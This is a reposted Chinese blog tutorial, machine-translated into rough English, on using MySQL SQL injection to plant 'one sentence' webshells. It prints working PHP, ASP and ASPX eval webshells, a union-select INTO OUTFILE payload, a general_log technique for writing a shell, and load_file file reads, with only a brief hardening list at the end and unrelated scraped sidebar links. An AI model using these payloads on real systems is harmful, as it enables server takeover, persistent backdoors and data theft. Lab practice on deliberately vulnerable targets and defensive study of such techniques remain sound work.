当前位置:网站首页>SQL injection upload one sentence Trojan horse (turn)
SQL injection upload one sentence Trojan horse (turn)
2022-06-12 04:33:00 【hanzhen668】
from SQL Inject and upload one sentence Trojan horse _Buffedon The blog of -CSDN Blog _sqlmap Upload the Trojan
I think it's well written , Just forward it , Let more people learn .
utilize sql Inject and upload one sentence Trojan horse
- Reading guide
- 1. sql Hazards of Injection
- 2. File is written to
Reading guide
This article mainly introduces the utilization sql Some knowledge of vulnerability upload file . Using sql When injecting vulnerabilities and uploading files, we need to know
- Uploaded web pages stay web Path to the server
- What permissions should I obtain for uploading files , That is, what are the prerequisites
- What should we write in the uploaded file , That is, how to write a Trojan horse program
- What harm will be caused to the server after uploading , How to protect
1. sql Hazards of Injection
- get data — Read database , Read system files
- File operations
- Execute system commands
- Change the registration form
2. File is written to
Master how to write with write function shell
Master the use of log files to write shell
Mainly file writing And download
2.1 webshell、 In a word, Trojans 、 back door
Personal understanding
webshell That is to say asp、php、jsp perhaps cgi A code execution environment in the form of web page files , Mainly used for website management 、 Server management 、 Permission management and other operations . Easy to use , Just upload a code file , Visit through website , Many daily operations can be carried out , It greatly facilitates users' management of websites and servers . Because of this , There are also a small number of people who use the modified code as a backdoor , In order to control the website server .
For webmasters ,webshell It's a tool , Can be used to manage servers , System permissions .
- For the attacker , The process of uploading Trojan files is getshell The process of ,
- The attacker uploaded payload And after successful execution , You can see the background directory of the website , Be able to control the website server , Control of authority , This process is to get webshell.
- Upload payload after , The next time you upload payload , To borrow Cknife, Tools such as ant sword connect directly to the website , Control the background , To cause a sustained attack , This process is the process of leaving the back door .
webshell( Malaysia )
webshell That is to say asp、aspx、php、jsp perhaps cgi A command execution environment in the form of web files , It can also be called a web backdoor .
After hacking into a website , Usually will asp、aspx、php or jsp Backdoor files and websites web The normal web page files in the server directory are mixed together , Then you can use the browser to access the backdoor file , To get a command execution environment , In order to control the website server .
seeing the name of a thing one thinks of its function ,“web” The implication is that the server is obviously required to be open web service ,“shell” The meaning of is to obtain the operation permission to the server to some extent .webshell Often referred to as the intruder through the website port on the website server to some extent operation authority . because webshell Most of them are in the form of dynamic scripts , It's also known as a backdoor tool for websites .
One side ,webshell It is often used by webmasters for website management 、 Server management and so on , according to FSO Different authorities , The function is to edit web script online 、 Upload and download files 、 view the database 、 Execute arbitrary program commands, etc .
In a word, Trojans
In a word, the Trojan horse is to insert the Trojan horse into the server and finally obtain by submitting a short code to the server webshell Methods
In a word, the Trojan horse can also communicate with sql Injection vulnerability is used in combination with , Inject with echo , Write a sentence to the root directory of the web page .
php In a word, Trojans : <?php @eval($_POST[value]); ?> // @ Indicates that the execution will continue even if an error is reported
asp In a word, Trojans : <%eval request ("value")%> or <% execute(request("value")) %>
aspx In a word, Trojans : <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
//eval and execute Means to get and execute the following contents
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
Create... Under the current directory xie.php file , And write a sentence into xd.php in
Conditions for successful execution of one sentence Trojan horse
- Trojan successfully uploaded , Not intercepted
- An attacker can get the entire directory of a web page , That is to know the path of the Trojan horse
- Uploading Trojan files can be web Server execution
Trojan file harm
- Sensitive data of the infected host can be obtained
- Occupancy system CPU Resources, etc , Even lead to system failure
- Change the password of the infected host , Delete file , Modify registry
2.2 Prerequisites for file writing
- There is an absolute path to the website – How to find
2.mysql The service has Write permissions- Folder permissions ; File permissions ; User permissions
- secure_ file _ priv=’’ Indicates that writing or exporting... Is not allowed
- start-up phpstudy, stay my.ini Add this sentence to
- mysql Connected users have file jurisdiction
- Not right sql Sentence to escape
2.3 Write function
outfile;dumpfile
select * from user into outfile "d:\\1.php"
select * from user into dumpfile "d:\\1.php"
show variables like '%secure%' // see secure-file-priv The current value
2.4 How to find the root directory of the website ( Absolute path )
It must be uploaded to the root directory of the website , Otherwise it can't be executed
According to the leaked information
Enter a domain name for example :127.0.0.1/123.php
Manual error information
Such information may appear in the response package
Based on experience , Yes Apache,linux,iis Understanding
2.5 Can only be combined with echo injection
id=-1' union select 1,"<?php eval($_POST['aaa']);?>",3
into OUTFILE 'd:\\1.php' --+
-- sql-libs less-1 For example
Then open the D disc , Find out 1.php Successfully wrote
After testing , And error reporting , Blind injection combination , You don't get the results you want
Therefore, error reporting injection and blind injection cannot be used to upload files to the server
2.6 Log write file
Logs are also files , So you can write a sentence to the log
First, check the log permissions , Open file permissions
show variables like '%general%' // View log permissions set GLOBAL general_log=1 // Open file permissions set GLOBAL general_log_file='d:\\ route ' // Change the log addressLAPTOP-NDINB3J0.log Each query statement will be recorded , So first change the log file , Then write the Trojan horse to this file
Key points : Know the path of the root directory and The command is to be executed
2.7 File read
Prerequisite
- There is an absolute path to read the file
- mysql The service has read permission to the path
- mysql Connected users have file jurisdiction
- secure_file_priv=’’
Read function
Read data function load_file(<‘ Absolute path ’>)
select load_file('d:\\1.php')

2.8 Protection against file writing
Minimize permissions
for example : secure-file-priv
linux in Setting the read / write execution permission ofMinimize functionality — Close the ports you don't need
for example ftp,telnet Wait for the port
Service minimization
Add filtering
precompile
边栏推荐
- Smart Panel wifi Linkage Technology, esp32 wireless chip module, Internet of Things WiFi Communication Application
- @What happens if bean and @component are used on the same class?
- JS function and variable have the same name (function and variable parsing rules)
- Epidemic data analysis platform work report [3] website deployment
- 2022 examination questions and online simulation examination for safety management personnel of hazardous chemical business units
- 1. Mx6ull learning notes (II) - uboot migration
- 【FPGA+FFT】基于FPGA的FFT频率计设计与实现
- D1 哪吒开发板 上电记录
- Please calculate the value of the following function recursively: PX (x, n) =x-x^2 +x^3- x^4+... (-1) n-1) (xn) n > 0 * * input format requirements: "%lf%d" prompt: "enter X and n:"
- Manually encapsulate a foreacht and map
猜你喜欢

疫情数据分析平台工作报告【1】数据采集

Database selected 60 interview questions

kali下安装pycharm并创建快捷访问
![[official testerhome] MTSC 2021 Shanghai and Shenzhen PPT download addresses](/img/a0/d1170b20d01a7a586d8ff68279f1d4.jpg)
[official testerhome] MTSC 2021 Shanghai and Shenzhen PPT download addresses

Detailed explanation of Command Execution Vulnerability

L1-067 Roche limit (10 points)

Esp32c3 remote serial port
![[fpga+fft] design and implementation of FFT frequency meter based on FPGA](/img/f9/e985bd9aed332982d936b5d4e0d42b.png)
[fpga+fft] design and implementation of FFT frequency meter based on FPGA

Recommended system cleaning tools, cocktail Download

Brief introduction to 44 official cases of vrtk3.3 (combined with steamvr)
随机推荐
mysqld: Can‘t create directory ‘D: oftinstall\mysql57 (Errcode: 2 - No such file or directory)
Oracle:decode function
[issue 31] 360 background development practice experience - two rounds of technical aspects
JS function and variable have the same name (function and variable parsing rules)
D1 Nezha development board power on record
Call reminder
智能面板WiFi联动技术,ESP32无线芯片模组,物联网WiFi通信应用
[SC] OpenService FAILED 5: Access is denied.
leetcode 263. Ugly number
Unable to resolve dependency tree
调用提醒事项
Legendary biological car-t has been approved by FDA, becoming the first domestic cell therapy product to successfully go to sea
动规(15)-最低通行费
Work report of epidemic data analysis platform [42] codenet
SQL注入上传一句话木马(转)
The solution to the error "xxx.pri has modification time XXXX s in the futrue" in the compilation of domestic Kirin QT
手动封装一个forEacht和Map
Street lighting IOT technology scheme, esp32-s3 chip communication application, intelligent WiFi remote control
疫情数据分析平台工作报告【4】跨域相关
L1-068 harmonic average (10 points)